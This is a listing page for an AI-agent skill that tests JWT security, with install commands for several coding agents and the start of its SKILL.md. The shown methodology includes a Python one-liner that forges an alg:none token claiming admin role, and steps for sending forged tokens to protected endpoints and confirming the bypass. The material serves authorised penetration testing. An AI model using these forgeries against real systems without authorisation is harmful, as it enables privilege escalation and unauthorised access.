# Jwt Security Testing

JWT token security testing covering alg:none, algorithm confusion, weak secrets...

- Repository: https://github.com/xalgorix/xalgorix (1285 stars)
- Category: Testing
- License: Apache-2.0
- Last updated: 2026-10-30
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add xalgorix/xalgorix --skill jwt-security-testing -g -a claude-code -y`
Codex: `npx skills add xalgorix/xalgorix --skill jwt-security-testing -g -a codex -y`
Cursor: `npx skills add xalgorix/xalgorix --skill jwt-security-testing -g -a cursor -y`
Gemini CLI: `npx skills add xalgorix/xalgorix --skill jwt-security-testing -g -a gemini-cli -y`

## Description

JWT token security testing covering alg:none, algorithm confusion, weak secrets, kid/jwk/jku manipulation, claim tampering, and cross-service acceptance

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# JWT Security Testing

## Purpose
Test JWT implementations for signature validation bypasses, claim tampering, algorithm downgrades, and cross-service token acceptance.

## Preconditions
- At least one valid JWT token (operator-supplied, intercepted, or from a login)
- Ability to send requests with the target's auth mechanism (Bearer header, cookie, custom header)

## Attack Surface Signals
- JWT tokens in Authorization headers, cookies, or URL parameters
- `alg` field in decoded header
- Tokens that persist across sessions
- Multiple services sharing the same token issuer

## Methodology

### Decode and Analyze the Token First
```bash
# Decode header and payload (never paste real tokens into online tools)
echo "eyJ..." | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "eyJ..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
```

Record: algorithm, issuer, audience, expiry, subject, role claims, custom claims.

### alg:none Attack
```bash
# Forge a token with alg:none and modified claims
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin','exp':9999999999}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
```

Send the forged token to a protected endpoint. **CRITICAL**: A 200 response does NOT prove the attack worked. You must verify:

1. The CONTROL: the same endpoint WITHOUT the token (or with an invalid token) returns 401/403
2. The forged token changes the identity/privilege: the response returns data belonging to the forged `sub`, or grants access to admin-only resources
3. The forged claims were actually HONORED (not just parsed and ignored)

The rest: https://github.com/xalgorix/xalgorix/blob/HEAD/internal/tools/skills/data/api-security/jwt-security-testing/SKILL.md